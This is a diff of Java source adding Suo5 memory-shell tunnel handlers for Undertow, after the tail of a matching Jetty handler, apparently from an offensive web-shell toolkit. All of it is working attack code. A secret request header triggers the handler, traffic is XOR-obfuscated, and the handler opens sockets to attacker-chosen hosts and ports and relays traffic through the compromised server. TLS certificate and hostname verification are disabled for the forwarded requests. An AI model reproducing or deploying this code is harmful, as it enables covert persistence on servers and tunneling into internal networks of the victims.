} catch (Throwable e) {
e.printStackTrace();
}
return true;
}
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
int bufferOffset = 0;
while (bufferOffset < b.length) {
int readLength = b.length - bufferOffset;
int readResult = is.read(b, bufferOffset, readLength);
if (readResult == -1) break;
bufferOffset += readResult;
}
}
public void tryFullDuplex(Object request, Object response) throws Exception {
InputStream in = (InputStream) request.getClass().getMethod("getInputStream").invoke(request);
byte[] data = new byte[32];
readFull(in, data);
OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
out.write(data);
out.flush();
}
private HashMap newCreate(byte s) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x04});
m.put("s", new byte[]{s});
return m;
}
private HashMap newData(byte[] data) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x01});
m.put("dt", data);
return m;
}
private HashMap newDel() {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x02});
return m;
}
private HashMap newStatus(byte b) {
HashMap m = new HashMap();
m.put("s", new byte[]{b});
return m;
}
byte[] u32toBytes(int i) {
byte[] result = new byte[4];
result[0] = (byte) (i >> 24);
result[1] = (byte) (i >> 16);
result[2] = (byte) (i >> 8);
result[3] = (byte) (i /*>> 0*/);
return result;
}
int bytesToU32(byte[] bytes) {
return ((bytes[0] & 0xFF) << 24) |
((bytes[1] & 0xFF) << 16) |
((bytes[2] & 0xFF) << 8) |
((bytes[3] & 0xFF) << 0);
}
synchronized void put(String k, Object v) {
ctx.put(k, v);
}
synchronized Object get(String k) {
return ctx.get(k);
}
synchronized Object remove(String k) {
return ctx.remove(k);
}
byte[] copyOfRange(byte[] original, int from, int to) {
int newLength = to - from;
if (newLength < 0) {
throw new IllegalArgumentException(from + " > " + to);
}
byte[] copy = new byte[newLength];
int copyLength = Math.min(original.length - from, newLength);
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
// System.arraycopy(original, from, copy, 0, copyLength);
for (int i = 0; i < copyLength; i++) {
copy[i] = original[from + i];
}
return copy;
}
private byte[] marshal(HashMap m) throws IOException {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
Object[] keys = m.keySet().toArray();
for (int i = 0; i < keys.length; i++) {
String key = (String) keys[i];
byte[] value = (byte[]) m.get(key);
buf.write((byte) key.length());
buf.write(key.getBytes());
buf.write(u32toBytes(value.length));
buf.write(value);
}
byte[] data = buf.toByteArray();
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
dbuf.putInt(data.length);
// xor key
byte key = (byte) ((Math.random() * 255) + 1);
dbuf.put(key);
for (int i = 0; i < data.length; i++) {
data[i] = (byte) (data[i] ^ key);
}
dbuf.put(data);
return dbuf.array();
}
private HashMap unmarshal(InputStream in) throws Exception {
byte[] header = new byte[4 + 1]; // size and datatype
readFull(in, header);
// read full
ByteBuffer bb = ByteBuffer.wrap(header);
int len = bb.getInt();
int x = bb.get();
if (len > 1024 * 1024 * 32) {
throw new IOException("invalid len");
}
byte[] bs = new byte[len];
readFull(in, bs);
for (int i = 0; i < bs.length; i++) {
bs[i] = (byte) (bs[i] ^ x);
}
HashMap m = new HashMap();
byte[] buf;
for (int i = 0; i < bs.length - 1; ) {
short kLen = bs[i];
i += 1;
if (i + kLen >= bs.length) {
throw new Exception("key len error");
}
if (kLen < 0) {
throw new Exception("key len error");
}
buf = copyOfRange(bs, i, i + kLen);
String key = new String(buf);
i += kLen;
if (i + 4 >= bs.length) {
throw new Exception("value len error");
}
buf = copyOfRange(bs, i, i + 4);
int vLen = bytesToU32(buf);
i += 4;
if (vLen < 0) {
throw new Exception("value error");
}
if (i + vLen > bs.length) {
throw new Exception("value error");
}
byte[] value = copyOfRange(bs, i, i + vLen);
i += vLen;
m.put(key, value);
}
return m;
}
private void processDataBio(Object request, Object resp) throws Exception {
final InputStream reqInputStream = (InputStream) request.getClass().getMethod("getInputStream").invoke(request);
HashMap dataMap = unmarshal(reqInputStream);
byte[] action = (byte[]) dataMap.get("ac");
if (action.length != 1 || action[0] != 0x00) {
resp.getClass().getMethod("setStatus", int.class).invoke(resp, 403);
return;
}
resp.getClass().getMethod("setBufferSize", int.class).invoke(resp, 512);
final OutputStream respOutStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
// 0x00 create socket
resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "X-Accel-Buffering", "no");
Socket sc;
try {
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
// Cannot convert Integer to int
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
} catch (Exception e) {
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.getClass().getMethod("flushBuffer").invoke(resp);
final OutputStream scOutStream = sc.getOutputStream();
final InputStream scInStream = sc.getInputStream();
Thread t = null;
try {
Suo5JettyHandler p = new Suo5JettyHandler(scInStream, respOutStream);
t = new Thread(p);
t.start();
readReq(reqInputStream, scOutStream);
} catch (Exception e) {
// System.out.printf("pipe error, %s\n", e);
} finally {
sc.close();
respOutStream.close();
if (t != null) {
t.join();
}
}
}
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
byte[] readBuf = new byte[1024 * 8];
while (true) {
int n = inputStream.read(readBuf);
if (n <= 0) {
break;
}
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
if (needMarshal) {
dataTmp = marshal(newData(dataTmp));
}
outputStream.write(dataTmp);
outputStream.flush();
}
}
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
while (true) {
HashMap dataMap;
dataMap = unmarshal(bufInputStream);
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
return;
}
byte action = actions[0];
if (action == 0x02) {
socketOutStream.close();
return;
} else if (action == 0x01) {
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
socketOutStream.write(data);
socketOutStream.flush();
}
} else if (action == 0x03) {
continue;
} else {
return;
}
}
}
private void processDataUnary(Object request, Object resp) throws
Exception {
InputStream is = (InputStream) request.getClass().getMethod("getInputStream").invoke(request);
BufferedInputStream reader = new BufferedInputStream(is);
HashMap dataMap;
dataMap = unmarshal(reader);
String clientId = new String((byte[]) dataMap.get("id"));
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
resp.getClass().getMethod("setStatus", int.class).invoke(resp, 403);
return;
}
/*
ActionCreate byte = 0x00
ActionData byte = 0x01
ActionDelete byte = 0x02
ActionHeartbeat byte = 0x03
*/
byte action = actions[0];
byte[] redirectData = (byte[]) dataMap.get("r");
boolean needRedirect = redirectData != null && redirectData.length > 0;
String redirectUrl = "";
if (needRedirect) {
dataMap.remove("r");
redirectUrl = new String(redirectData);
needRedirect = !isLocalAddr(redirectUrl);
}
// load balance, send request with data to request url
// action 0x00 need to pipe, see below
if (needRedirect && action >= 0x01 && action <= 0x03) {
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
conn.disconnect();
return;
}
resp.getClass().getMethod("setBufferSize", int.class).invoke(resp, 512);
OutputStream respOutStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
if (action == 0x02) {
Object o = this.get(clientId);
if (o == null) return;
OutputStream scOutStream = (OutputStream) o;
scOutStream.close();
return;
} else if (action == 0x01) {
Object o = this.get(clientId);
if (o == null) {
respOutStream.write(marshal(newDel()));
respOutStream.flush();
respOutStream.close();
return;
}
OutputStream scOutStream = (OutputStream) o;
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
scOutStream.write(data);
scOutStream.flush();
}
respOutStream.close();
return;
} else {
}
if (action != 0x00) {
return;
}
// 0x00 create new tunnel
resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "X-Accel-Buffering", "no");
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
InputStream readFrom;
Socket sc = null;
HttpURLConnection conn = null;
if (needRedirect) {
// pipe redirect stream and current response body
conn = redirect(request, dataMap, redirectUrl);
readFrom = conn.getInputStream();
} else {
// pipe socket stream and current response body
try {
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
readFrom = sc.getInputStream();
this.put(clientId, sc.getOutputStream());
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.getClass().getMethod("flushBuffer").invoke(resp);
} catch (Exception e) {
// System.out.printf("connect error %s\n", e);
// e.printStackTrace();
this.remove(clientId);
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
}
try {
readSocket(readFrom, respOutStream, !needRedirect);
} catch (Exception e) {
// System.out.println("socket error " + e.toString());
// e.printStackTrace();
} finally {
if (sc != null) {
sc.close();
}
if (conn != null) {
conn.disconnect();
}
respOutStream.close();
this.remove(clientId);
}
}
public void run() {
try {
readSocket(gInStream, gOutStream, true);
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
}
static HashMap collectAddr() {
HashMap addrs = new HashMap();
try {
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
while (nifs.hasMoreElements()) {
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
Enumeration addresses = nif.getInetAddresses();
while (addresses.hasMoreElements()) {
InetAddress addr = (InetAddress) addresses.nextElement();
String s = addr.getHostAddress();
if (s != null) {
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
int ifaceIndex = s.indexOf('%');
if (ifaceIndex != -1) {
s = s.substring(0, ifaceIndex);
}
addrs.put((Object) s, (Object) Boolean.TRUE);
}
}
}
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
return addrs;
}
boolean isLocalAddr(String url) throws Exception {
String ip = (new URL(url)).getHost();
return addrs.containsKey(ip);
}
HttpURLConnection redirect(Object request, HashMap dataMap, String rUrl) throws Exception {
String method = request.getClass().getMethod("getMethod", String.class).toString();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
try {
// conn.setConnectTimeout(3000);
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
// conn.setReadTimeout(0);
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
} catch (Exception e) {
// java1.4
}
conn.setDoOutput(true);
conn.setDoInput(true);
// ignore ssl verify
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
if (HttpsURLConnection.class.isInstance(conn)) {
((HttpsURLConnection) conn).setHostnameVerifier(this);
SSLContext sslCtx = SSLContext.getInstance("SSL");
sslCtx.init(null, new TrustManager[]{this}, null);
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
}
byte[] newBody = marshal(dataMap);
Enumeration headers = ((Enumeration) request.getClass().getMethod("getHeaderNames").invoke(request));
Method getHeaderMethod = request.getClass().getMethod("getHeader", String.class);
while (headers.hasMoreElements()) {
String k = (String) headers.nextElement();
if (k.equals("Content-Length")) {
conn.setRequestProperty(k, String.valueOf(newBody.length));
continue;
} else if (k.equals("Host")) {
conn.setRequestProperty(k, u.getHost());
continue;
} else if (k.equals("Connection")) {
conn.setRequestProperty(k, "close");
continue;
} else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) {
continue;
} else {
conn.setRequestProperty(k, ((String) getHeaderMethod.invoke(request, k)));
}
}
OutputStream rout = conn.getOutputStream();
rout.write(newBody);
rout.flush();
rout.close();
conn.getResponseCode();
return conn;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
}
@@ -0,0 +1,571 @@
package com.reajason.javaweb.memshell.shelltool.suo5;
import javax.net.ssl.*;
import java.io.*;
import java.lang.reflect.Method;
import java.net.*;
import java.nio.ByteBuffer;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.Enumeration;
import java.util.HashMap;
/**
* @author ReaJason
*/
public class Suo5UndertowServletHandler implements Runnable, HostnameVerifier, X509TrustManager {
public static String headerName;
public static String headerValue;
public static HashMap addrs = collectAddr();
public static HashMap ctx = new HashMap();
InputStream gInStream;
OutputStream gOutStream;
public Suo5UndertowServletHandler() {
}
public Suo5UndertowServletHandler(InputStream in, OutputStream out) {
this.gInStream = in;
this.gOutStream = out;
}
@Override
public boolean equals(Object obj) {
Object[] args = ((Object[]) obj);
try {
Object servletRequestContext = null;
if (args.length == 2) {
servletRequestContext = args[1];
} else {
servletRequestContext = args[2];
}
Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext);
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
String contentType = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, "Content-Type");
if (value == null || !value.contains(headerValue)) {
return false;
}
if (contentType == null) {
return false;
}
if (contentType.equals("application/plain")) {
tryFullDuplex(request, response);
return true;
}
if (contentType.equals("application/octet-stream")) {
processDataBio(request, response);
} else {
processDataUnary(request, response);
}
} catch (Throwable e) {
e.printStackTrace();
}
return true;
}
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
int bufferOffset = 0;
while (bufferOffset < b.length) {
int readLength = b.length - bufferOffset;
int readResult = is.read(b, bufferOffset, readLength);
if (readResult == -1) break;
bufferOffset += readResult;
}
}
public void tryFullDuplex(Object request, Object response) throws Exception {
InputStream in = (InputStream) request.getClass().getMethod("getInputStream").invoke(request);
byte[] data = new byte[32];
readFull(in, data);
OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
out.write(data);
out.flush();
}
private HashMap newCreate(byte s) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x04});
m.put("s", new byte[]{s});
return m;
}
private HashMap newData(byte[] data) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x01});
m.put("dt", data);
return m;
}
private HashMap newDel() {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x02});
return m;
}
private HashMap newStatus(byte b) {
HashMap m = new HashMap();
m.put("s", new byte[]{b});
return m;
}
byte[] u32toBytes(int i) {
byte[] result = new byte[4];
result[0] = (byte) (i >> 24);
result[1] = (byte) (i >> 16);
result[2] = (byte) (i >> 8);
result[3] = (byte) (i /*>> 0*/);
return result;
}
int bytesToU32(byte[] bytes) {
return ((bytes[0] & 0xFF) << 24) |
((bytes[1] & 0xFF) << 16) |
((bytes[2] & 0xFF) << 8) |
((bytes[3] & 0xFF) << 0);
}
synchronized void put(String k, Object v) {
ctx.put(k, v);
}
synchronized Object get(String k) {
return ctx.get(k);
}
synchronized Object remove(String k) {
return ctx.remove(k);
}
byte[] copyOfRange(byte[] original, int from, int to) {
int newLength = to - from;
if (newLength < 0) {
throw new IllegalArgumentException(from + " > " + to);
}
byte[] copy = new byte[newLength];
int copyLength = Math.min(original.length - from, newLength);
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
// System.arraycopy(original, from, copy, 0, copyLength);
for (int i = 0; i < copyLength; i++) {
copy[i] = original[from + i];
}
return copy;
}
private byte[] marshal(HashMap m) throws IOException {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
Object[] keys = m.keySet().toArray();
for (int i = 0; i < keys.length; i++) {
String key = (String) keys[i];
byte[] value = (byte[]) m.get(key);
buf.write((byte) key.length());
buf.write(key.getBytes());
buf.write(u32toBytes(value.length));
buf.write(value);
}
byte[] data = buf.toByteArray();
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
dbuf.putInt(data.length);
// xor key
byte key = (byte) ((Math.random() * 255) + 1);
dbuf.put(key);
for (int i = 0; i < data.length; i++) {
data[i] = (byte) (data[i] ^ key);
}
dbuf.put(data);
return dbuf.array();
}
private HashMap unmarshal(InputStream in) throws Exception {
byte[] header = new byte[4 + 1]; // size and datatype
readFull(in, header);
// read full
ByteBuffer bb = ByteBuffer.wrap(header);
int len = bb.getInt();
int x = bb.get();
if (len > 1024 * 1024 * 32) {
throw new IOException("invalid len");
}
byte[] bs = new byte[len];
readFull(in, bs);
for (int i = 0; i < bs.length; i++) {
bs[i] = (byte) (bs[i] ^ x);
}
HashMap m = new HashMap();
byte[] buf;
for (int i = 0; i < bs.length - 1; ) {
short kLen = bs[i];
i += 1;
if (i + kLen >= bs.length) {
throw new Exception("key len error");
}
if (kLen < 0) {
throw new Exception("key len error");
}
buf = copyOfRange(bs, i, i + kLen);
String key = new String(buf);
i += kLen;
if (i + 4 >= bs.length) {
throw new Exception("value len error");
}
buf = copyOfRange(bs, i, i + 4);
int vLen = bytesToU32(buf);
i += 4;
if (vLen < 0) {
throw new Exception("value error");
}
if (i + vLen > bs.length) {
throw new Exception("value error");
}
byte[] value = copyOfRange(bs, i, i + vLen);
i += vLen;
m.put(key, value);
}
return m;
}
private void processDataBio(Object request, Object resp) throws Exception {
final InputStream reqInputStream = (InputStream) request.getClass().getMethod("getInputStream").invoke(request);
HashMap dataMap = unmarshal(reqInputStream);
byte[] action = (byte[]) dataMap.get("ac");
if (action.length != 1 || action[0] != 0x00) {
resp.getClass().getMethod("setStatus", int.class).invoke(resp, 403);
return;
}
resp.getClass().getMethod("setBufferSize", int.class).invoke(resp, 512);
final OutputStream respOutStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
// 0x00 create socket
resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "X-Accel-Buffering", "no");
Socket sc;
try {
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
// Cannot convert Integer to int
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
} catch (Exception e) {
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.getClass().getMethod("flushBuffer").invoke(resp);
final OutputStream scOutStream = sc.getOutputStream();
final InputStream scInStream = sc.getInputStream();
Thread t = null;
try {
Suo5UndertowServletHandler p = new Suo5UndertowServletHandler(scInStream, respOutStream);
t = new Thread(p);
t.start();
readReq(reqInputStream, scOutStream);
} catch (Exception e) {
// System.out.printf("pipe error, %s\n", e);
} finally {
sc.close();
respOutStream.close();
if (t != null) {
t.join();
}
}
}
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
byte[] readBuf = new byte[1024 * 8];
while (true) {
int n = inputStream.read(readBuf);
if (n <= 0) {
break;
}
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
if (needMarshal) {
dataTmp = marshal(newData(dataTmp));
}
outputStream.write(dataTmp);
outputStream.flush();
}
}
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
while (true) {
HashMap dataMap;
dataMap = unmarshal(bufInputStream);
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
return;
}
byte action = actions[0];
if (action == 0x02) {
socketOutStream.close();
return;
} else if (action == 0x01) {
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
socketOutStream.write(data);
socketOutStream.flush();
}
} else if (action == 0x03) {
continue;
} else {
return;
}
}
}
private void processDataUnary(Object request, Object resp) throws
Exception {
InputStream is = (InputStream) request.getClass().getMethod("getInputStream").invoke(request);
BufferedInputStream reader = new BufferedInputStream(is);
HashMap dataMap;
dataMap = unmarshal(reader);
String clientId = new String((byte[]) dataMap.get("id"));
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
resp.getClass().getMethod("setStatus", int.class).invoke(resp, 403);
return;
}
/*
ActionCreate byte = 0x00
ActionData byte = 0x01
ActionDelete byte = 0x02
ActionHeartbeat byte = 0x03
*/
byte action = actions[0];
byte[] redirectData = (byte[]) dataMap.get("r");
boolean needRedirect = redirectData != null && redirectData.length > 0;
String redirectUrl = "";
if (needRedirect) {
dataMap.remove("r");
redirectUrl = new String(redirectData);
needRedirect = !isLocalAddr(redirectUrl);
}
// load balance, send request with data to request url
// action 0x00 need to pipe, see below
if (needRedirect && action >= 0x01 && action <= 0x03) {
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
conn.disconnect();
return;
}
resp.getClass().getMethod("setBufferSize", int.class).invoke(resp, 512);
OutputStream respOutStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
if (action == 0x02) {
Object o = this.get(clientId);
if (o == null) return;
OutputStream scOutStream = (OutputStream) o;
scOutStream.close();
return;
} else if (action == 0x01) {
Object o = this.get(clientId);
if (o == null) {
respOutStream.write(marshal(newDel()));
respOutStream.flush();
respOutStream.close();
return;
}
OutputStream scOutStream = (OutputStream) o;
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
scOutStream.write(data);
scOutStream.flush();
}
respOutStream.close();
return;
} else {
}
if (action != 0x00) {
return;
}
// 0x00 create new tunnel
resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "X-Accel-Buffering", "no");
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
InputStream readFrom;
Socket sc = null;
HttpURLConnection conn = null;
if (needRedirect) {
// pipe redirect stream and current response body
conn = redirect(request, dataMap, redirectUrl);
readFrom = conn.getInputStream();
} else {
// pipe socket stream and current response body
try {
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
readFrom = sc.getInputStream();
this.put(clientId, sc.getOutputStream());
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.getClass().getMethod("flushBuffer").invoke(resp);
} catch (Exception e) {
// System.out.printf("connect error %s\n", e);
// e.printStackTrace();
this.remove(clientId);
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
}
try {
readSocket(readFrom, respOutStream, !needRedirect);
} catch (Exception e) {
// System.out.println("socket error " + e.toString());
// e.printStackTrace();
} finally {
if (sc != null) {
sc.close();
}
if (conn != null) {
conn.disconnect();
}
respOutStream.close();
this.remove(clientId);
}
}
public void run() {
try {
readSocket(gInStream, gOutStream, true);
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
}
static HashMap collectAddr() {
HashMap addrs = new HashMap();
try {
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
while (nifs.hasMoreElements()) {
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
Enumeration addresses = nif.getInetAddresses();
while (addresses.hasMoreElements()) {
InetAddress addr = (InetAddress) addresses.nextElement();
String s = addr.getHostAddress();
if (s != null) {
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
int ifaceIndex = s.indexOf('%');
if (ifaceIndex != -1) {
s = s.substring(0, ifaceIndex);
}
addrs.put((Object) s, (Object) Boolean.TRUE);
}
}
}
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
return addrs;
}
boolean isLocalAddr(String url) throws Exception {
String ip = (new URL(url)).getHost();
return addrs.containsKey(ip);
}
HttpURLConnection redirect(Object request, HashMap dataMap, String rUrl) throws Exception {
String method = request.getClass().getMethod("getMethod", String.class).toString();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
try {
// conn.setConnectTimeout(3000);
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
// conn.setReadTimeout(0);
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
} catch (Exception e) {
// java1.4
}
conn.setDoOutput(true);
conn.setDoInput(true);
// ignore ssl verify
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
if (HttpsURLConnection.class.isInstance(conn)) {
((HttpsURLConnection) conn).setHostnameVerifier(this);
SSLContext sslCtx = SSLContext.getInstance("SSL");
sslCtx.init(null, new TrustManager[]{this}, null);
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
}
byte[] newBody = marshal(dataMap);
Enumeration headers = ((Enumeration) request.getClass().getMethod("getHeaderNames").invoke(request));
Method getHeaderMethod = request.getClass().getMethod("getHeader", String.class);
while (headers.hasMoreElements()) {
String k = (String) headers.nextElement();
if (k.equals("Content-Length")) {
conn.setRequestProperty(k, String.valueOf(newBody.length));
continue;
} else if (k.equals("Host")) {
conn.setRequestProperty(k, u.getHost());
continue;
} else if (k.equals("Connection")) {
conn.setRequestProperty(k, "close");
continue;
} else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) {
continue;
} else {
conn.setRequestProperty(k, ((String) getHeaderMethod.invoke(request, k)));
}
}
OutputStream rout = conn.getOutputStream();
rout.write(newBody);
rout.flush();
rout.close();
conn.getResponseCode();
return conn;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
}